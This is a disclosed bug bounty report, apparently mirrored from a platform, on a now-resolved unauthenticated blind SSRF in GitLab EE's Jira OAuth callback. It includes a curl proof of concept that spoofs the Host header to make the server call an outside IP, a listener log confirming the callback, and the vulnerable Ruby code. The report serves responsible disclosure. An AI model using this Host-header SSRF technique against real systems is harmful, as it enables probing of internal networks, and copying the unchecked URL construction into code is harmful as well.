Loading HuntDB...

Unauthenticated blind SSRF in OAuth Jira authorization controller

High
G
GitLab
Submitted None
Reported by jobert

Vulnerability Details

Technical details and impact analysis

Server-Side Request Forgery (SSRF)
The `Oauth::Jira::AuthorizationsController#access_token` endpoint is vulnerable to a blind SSRF vulnerability. The vulnerability allows an attacker to make arbitrary HTTP/HTTPS requests inside a GitLab instance's network. # Proof of concept To reproduce the vulnerability, follow the steps below. - spin up a GitLab EE instance with the latest version (11.2.1-ee) - send a `POST` request to the `/-/jira/login/oauth/callback` endpoint, as shown below. In the request, point the `Host` header to the hostname / IP address and port number you want to send the request to: ``` curl -X POST -H 'Host: 162.243.147.21:81' 'https://gitlab.com/-/jira/login/oauth/access_token' ``` - Observe a `POST` request being sent to `162.243.147.21:81` (in this case HTTPS): ``` Listening on [0.0.0.0] (family 0, port 81) Connection from [35.231.137.154] port 81 [tcp/*] accepted (family 2, sport 58558) ��ؒ���� ��/$����4�i�,�֟J%>�+�/�,�0�����#�'� ��$�(� �gk39@j28��<=/5�l162.243.147.21 Connection closed, listening again. ``` # Vulnerable code The following code can be found in the `Oauth::Jira::AuthorizationsController#access_token` method. ```ruby def access_token auth_params = params .slice(:code, :client_id, :client_secret) .merge(grant_type: 'authorization_code', redirect_uri: oauth_jira_callback_url) auth_response = Gitlab::HTTP.post(oauth_token_url, body: auth_params, allow_local_requests: true) token_type, scope, token = auth_response['token_type'], auth_response['scope'], auth_response['access_token'] render text: "access_token=#{token}&scope=#{scope}&token_type=#{token_type}" end ``` The `GItlab::HTTP.post` call is using the `oauth_token_url` directly. This `_url` Rails routing helper uses the `Host` header to construct the URL it needs to point to. Because every host is accepted in GitLab, the constructed URL can point to an internal system. This is how it's supposed to work. However, the `Host` header should be checked before making the `post` call to avoid an attacker being able to make arbitrary requests. ## Impact The response of the server is actually interpreted, but this is limited to a JSON response that returns an `access_token`, `scope`, and `token_type`. However, this may have additional consequences in case there are unauthenticated endpoints within the instance's network. This isn't very likely, which is why the attack complexity is set to High. It has a minor impact on Availability, because a thread is blocked on the TCP read timeout, which is set to 60 seconds (`curl -X POST -H 'Host: 162.243.147.21:81' 0.03s user 0.01s system 0% cpu 1:00.76 total`). The integrity impact is currently set at High, but this depends on additional factors, such as what other internal services can be hit. The user does not need to be authenticated to execute the call.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$4000.00

Submitted

Weakness

Server-Side Request Forgery (SSRF)